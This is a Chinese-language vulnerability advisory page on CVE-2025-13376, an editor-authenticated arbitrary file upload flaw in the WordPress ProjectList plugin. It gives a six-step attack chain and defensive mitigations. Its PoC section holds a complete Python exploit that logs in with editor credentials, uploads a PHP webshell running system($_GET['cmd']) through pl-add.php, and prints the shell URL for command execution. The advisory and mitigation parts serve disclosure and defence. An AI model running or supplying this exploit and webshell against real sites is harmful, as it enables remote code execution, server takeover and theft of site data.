IPBUF安全漏洞报告
English
CVE-2025-13376 CVSS 7.2 高危

CVE-2025-13376 WordPress ProjectList插件任意文件上传漏洞

披露日期: 2025-11-25

漏洞信息

漏洞编号
CVE-2025-13376
漏洞类型
任意文件上传/远程代码执行
CVSS评分
7.2 高危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
WordPress ProjectList插件

相关标签

任意文件上传远程代码执行WordPress插件漏洞CVE-2025-13376ProjectList文件上传绕过高危漏洞认证用户漏洞

漏洞概述

CVE-2025-13376是WordPress ProjectList插件中的一个高危安全漏洞,该漏洞允许具有编辑者级别及更高权限的认证用户上传任意文件到受影响的服务器。由于插件在所有版本中(包括0.3.0及之前版本)缺少文件类型验证机制,攻击者可以利用此漏洞上传恶意文件(如PHP webshell),从而在服务器上执行任意代码,实现远程代码执行(RCE)。ProjectList插件主要用于项目管理功能,攻击者一旦获得编辑者权限即可利用此漏洞。CVSS评分7.2,属于高危级别漏洞,对系统机密性、完整性和可用性均造成严重影响。此漏洞已被Wordfence安全团队发现并报告,攻击复杂度低,无需用户交互即可实施攻击。

技术细节

ProjectList插件的任意文件上传漏洞存在于pl-add.php文件(第27行附近)的文件上传处理逻辑中。该功能设计用于添加项目,但未对用户上传的文件进行适当的类型验证和内容检查。攻击者可以通过构造恶意文件上传请求,将PHP脚本或其他可执行文件上传到服务器目录。由于WordPress插件目录通常具有写权限,上传的文件可以被Web服务器执行。攻击者通常会上传包含webshell的PHP文件,然后通过HTTP请求触发执行,从而获得系统命令执行能力。漏洞的利用前提是攻击者需要拥有WordPress网站的编辑者(Editor)或更高权限账户,这降低了漏洞的利用门槛,因为WordPress中编辑者角色可以访问文章编辑、媒体上传等功能。

攻击链分析

STEP 1
步骤1
获取WordPress编辑者级别或更高权限的账户凭据
STEP 2
步骤2
登录WordPress后台,获取有效的认证会话和nonce令牌
STEP 3
步骤3
构造恶意文件上传请求,向ProjectList插件的pl-add.php端点发送包含PHP webshell的文件
STEP 4
步骤4
服务器未验证文件类型,恶意PHP文件被保存到wp-content/uploads/projects/目录
STEP 5
步骤5
通过HTTP请求访问上传的webshell,如?cmd=whoami,执行系统命令实现远程代码执行
STEP 6
步骤6
利用RCE进一步渗透,获取数据库凭据、植入后门或完全控制服务器

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # CVE-2025-13376 PoC - WordPress ProjectList Plugin Arbitrary File Upload # Requires Editor-level access import requests import sys TARGET_URL = "http://target-wordpress-site.com" USERNAME = "editor_user" PASSWORD = "editor_password" PLUGIN_PATH = "/wp-content/plugins/projectlist/pages/pl-add.php" def get_nonce(login_url): """Extract WordPress nonce from login page""" response = requests.get(login_url, timeout=30) for line in response.text.split('\n'): if 'wpnonce' in line.lower() or '_wpnonce' in line.lower(): import re nonce_match = re.search(r'value="([a-f0-9]+)"', line) if nonce_match: return nonce_match.group(1) return None def login_wordpress(): """Authenticate to WordPress""" session = requests.Session() login_url = f"{TARGET_URL}/wp-login.php" # Get login nonce nonce = get_nonce(login_url) login_data = { 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In', 'redirect_to': f'{TARGET_URL}/wp-admin/', 'testcookie': '1' } if nonce: login_data['_wpnonce'] = nonce response = session.post(login_url, data=login_data, cookies=session.cookies, timeout=30) if 'wordpress_logged_in' in str(session.cookies) or 'wp-settings' in response.text: return session return None def upload_shell(session): """Upload malicious PHP shell""" upload_url = f"{TARGET_URL}{PLUGIN_PATH}" # PHP webshell content webshell = b"<?php if(isset($_GET['cmd'])){ system($_GET['cmd']); } ?>" files = { 'project_file': ('shell.php', webshell, 'application/x-php') } data = { 'action': 'add_project', 'submit': 'Upload' } try: response = session.post(upload_url, files=files, data=data, timeout=30) if response.status_code == 200: # Check for uploaded file path in response print("[+] File upload request sent successfully") print("[+] Check if shell is accessible at: " f"{TARGET_URL}/wp-content/uploads/projects/shell.php?cmd=whoami") return True except Exception as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": print("[*] CVE-2025-13376 - WordPress ProjectList Plugin File Upload") print("[*] Target:", TARGET_URL) session = login_wordpress() if session: print("[+] Login successful") upload_shell(session) else: print("[-] Login failed")

影响范围

WordPress ProjectList插件 <= 0.3.0

防御指南

临时缓解措施
如果无法立即升级插件,可采取以下临时缓解措施:1)临时禁用ProjectList插件;2)限制编辑者角色的文件上传权限;3)在.htaccess或nginx配置中禁止uploads目录执行PHP文件;4)启用WordPress文件上传监控;5)考虑使用第三方安全插件增强防护。同时建议审计具有编辑者权限的用户账户,确保无恶意账户存在。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表